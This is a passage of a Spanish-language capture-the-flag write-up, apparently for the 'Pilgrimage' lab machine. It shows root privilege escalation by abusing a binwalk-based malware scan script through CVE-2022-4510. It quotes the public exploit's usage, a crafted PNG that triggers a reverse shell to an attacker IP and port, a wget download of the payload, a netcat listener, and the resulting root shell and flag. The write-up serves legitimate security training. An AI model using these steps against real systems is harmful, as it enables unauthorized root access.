root 647 0.0 0.1 220796 6828 ? Ssl 06:40 0:00 /usr/sbin/rsyslogd -n -iNONE
root 651 0.0 0.1 13852 7092 ? Ss 06:40 0:00 /lib/systemd/systemd-logind
root 674 0.0 0.0 5844 1736 tty1 Ss+ 06:40 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 700 0.0 0.1 13352 7632 ? Ss 06:40 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 1526 0.0 0.2 14712 8952 ? Ss 09:33 0:00 \_ sshd: emily [priv]
root 722 0.0 0.1 99884 5804 ? Ssl 06:40 0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root 780 0.0 0.0 56376 1624 ? Ss 06:40 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
root 1643 0.0 0.0 6816 3264 ? S 09:43 0:00 bash
root 1646 0.0 0.0 5416 648 ? S 09:44 0:00 \_ script /dev/null -c bash
root 1647 0.0 0.0 2480 504 pts/1 Ss 09:44 0:00 \_ sh -c bash
root 1648 0.0 0.0 7160 3828 pts/1 S+ 09:44 0:00 \_ bash
Un proceso interesante es /bin/bash /usr/sbin/malwarescan.sh
. Leamos este script en Bash:
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[@]}"; do
if [[ "$binout" == *"$banned"* ]]; then
/usr/bin/rm "$filename"
break
fi
done
done
El script analiza la carpeta donde se cargan las imágenes desde el sitio web. Si el archivo de imagen contiene algunas strings sospechosas, el script emplea binwalk
para buscar archivos embebidos y extraer su contenido para eliminarlo y evitar que el malware infecte la máquina.
Escalada de privilegios
El script en Bash anterior es corto y parece ser seguro. El comando que parece más sospechoso es binwalk
. De hecho, tenemos la versión 2.3.2:
emily@pilgrimage:/tmp$ binwalk 2>&1 | head
Binwalk v2.3.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk
Usage: binwalk [OPTIONS] [FILE1] [FILE2] [FILE3] ...
Signature Scan Options:
-B, --signature Scan target file(s) for common file signatures
-R, --raw=<str> Scan target file(s) for the specified sequence of bytes
Hay un exploit para esta versión que deriva en ejecución remota de comandos (más información en portswigger.net). Y también existe un exploit público en ExploitDB:
$ searchsploit binwalk
------------------------------------------------- ------------------------
Exploit Title | Path
------------------------------------------------- ------------------------
Binwalk v2.3.2 - Remote Command Execution (RCE) | python/remote/51249.py
------------------------------------------------- ------------------------
Shellcodes: No Results
El exploit inyecta código de Python para generar un comando de reverse shell que se ejecuta cuando binwalk
intenta extraer archivos del archivo de imagen maliciosamente diseñado:
$ python3 51249.py -h
################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################
usage: 51249.py [-h] file ip port
positional arguments:
file Path to input .png file
ip Ip to nc listener
port Port to nc listener
options:
-h, --help show this help message and exit
$ python3 51249.py exploit.png 10.10.17.44 4444
################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################
You can now rename and share binwalk_exploit and start your local netcat listener.
Ahora transferimos binwalk_exploit.png
a la máquina remota y la movemos a /var/www/pilgrimage.htb/shrunk
para activar la reverse shell:
emily@pilgrimage:~$ cd /tmp
emily@pilgrimage:/tmp$ wget -q 10.10.17.44/binwalk_exploit.png
emily@pilgrimage:/tmp$ mv binwalk_exploit.png /var/www/pilgrimage.htb/shrunk
Y ahí lo tenemos. Somos root
:
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.219:43596.
whoami
root
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@pilgrimage:~/quarantine# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
root@pilgrimage:~/quarantine# export TERM=xterm
root@pilgrimage:~/quarantine# export SHELL=bash
root@pilgrimage:~/quarantine# stty rows 50 columns 158
root@pilgrimage:~/quarantine# cd
root@pilgrimage:~# cat root.txt
123667c25801c81db9a41a7f8612a926